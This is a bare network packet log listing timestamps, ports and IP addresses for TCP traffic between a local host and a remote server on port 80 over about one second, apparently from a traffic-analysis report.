Apr 25, 2024 21:47:58.727390051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.727390051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.727405071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727430105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727463961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.727463961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.727467060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727483988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727495909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.727504015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.727544069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.727544069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.782212973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.782234907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.782444954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.782475948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.782479048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.782490969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.782505989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.782520056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.782533884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.782533884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.782562971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.783253908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.783337116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.879750967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.879765987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.879776955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.879893064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.879892111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.879908085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.879914999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.879923105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.879930019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.879935980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.879960060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.880037069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.880049944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.880059958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.880114079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.880114079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.880121946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.880136013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.880179882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.880188942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.880188942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.880206108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.880234003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.880256891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.880296946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.880297899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.880310059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.880316019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.880351067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.934782028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.934804916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.934823036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.934849024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.934890985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.934927940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.934928894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.934976101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.935059071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.935122967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.935152054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.935173035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.935286045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.935342073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.935399055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.935400963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.935462952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.935493946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.935512066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.935513973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.935565948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.935678005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.935730934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.936187983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936250925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936273098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.936274052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936290026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.936347008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936348915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.936397076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936398983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.936454058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.936490059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936553955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936567068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936574936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.936611891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.936623096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936676025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.936680079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936703920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936744928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.936744928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.936798096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936836958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936856031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.936907053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936928988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.936937094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.936956882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.936975002 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.937011957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937036037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937077999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.937077999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.937108994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937155962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.937160015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937175989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937211990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.937211990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.937253952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937267065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937278986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937325001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937325001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.937325001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.937341928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937354088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937385082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.937385082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.937416077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937463999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937464952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.937488079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937536001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.937553883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937608957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.937613964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.937639952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.937721968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.990451097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.990494967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.990653992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.990739107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.990802050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.990843058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.990886927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.990895033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.990957022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.990969896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.990971088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.990999937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.991039991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.991071939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.991094112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.991138935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.991138935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.991144896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.991198063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.991219997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.991235971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.991262913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.991276026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.991293907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.991306067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.991306067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.991343975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.991344929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.991405964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:58.991417885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:58.991467953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.088629007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.088687897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.088701963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.088788986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.088793039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.088788986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.088808060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.088843107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.088860989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.088886023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.088928938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.088928938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.088956118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089004993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089078903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089112997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089134932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089189053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089202881 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089220047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089247942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089248896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089248896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089277983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089318037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089329004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089329004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089379072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089391947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089401960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089430094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089433908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089461088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089477062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089477062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089487076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089509010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089540005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089541912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089595079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089641094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089641094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089664936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089678049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089716911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089730024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089775085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089797020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089843988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089848042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089876890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.089903116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089915991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.089927912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.090003014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.090015888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.090040922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.090044022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.090044022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.090082884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.090082884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.090086937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.090148926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.090230942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.090265989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.090310097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.090310097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.090358973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.090406895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.090425014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.090439081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.090496063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.090517044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.090528965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.090643883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.142885923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.142924070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.142931938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.142942905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.142976046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143018961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143032074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143093109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143093109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143134117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143146992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143198013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143210888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143245935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143312931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143346071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143356085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143369913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143374920 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143419027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143444061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143507004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143520117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143553972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143605947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143641949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143688917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143688917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143702030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143739939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143755913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143767118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143804073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143804073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143841982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143857002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143925905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143939972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143958092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143963099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.143970013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.143980980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144005060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144007921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144007921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144038916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144038916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144049883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144109964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144123077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144176006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144191980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144239902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144279003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144279003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144402981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144416094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144428015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144454002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144473076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144473076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144476891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144490957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144520044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144520044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144547939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144562006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144586086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144586086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144625902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144628048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144691944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144738913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144738913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144747019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144779921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144820929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144821882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144821882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144879103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144900084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144920111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144920111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144927979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144957066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144989967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.144999027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144999027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.144999981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:59.145004988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:59.145031929 CEST	80	49704	185.172.128.76	192.168.2.5
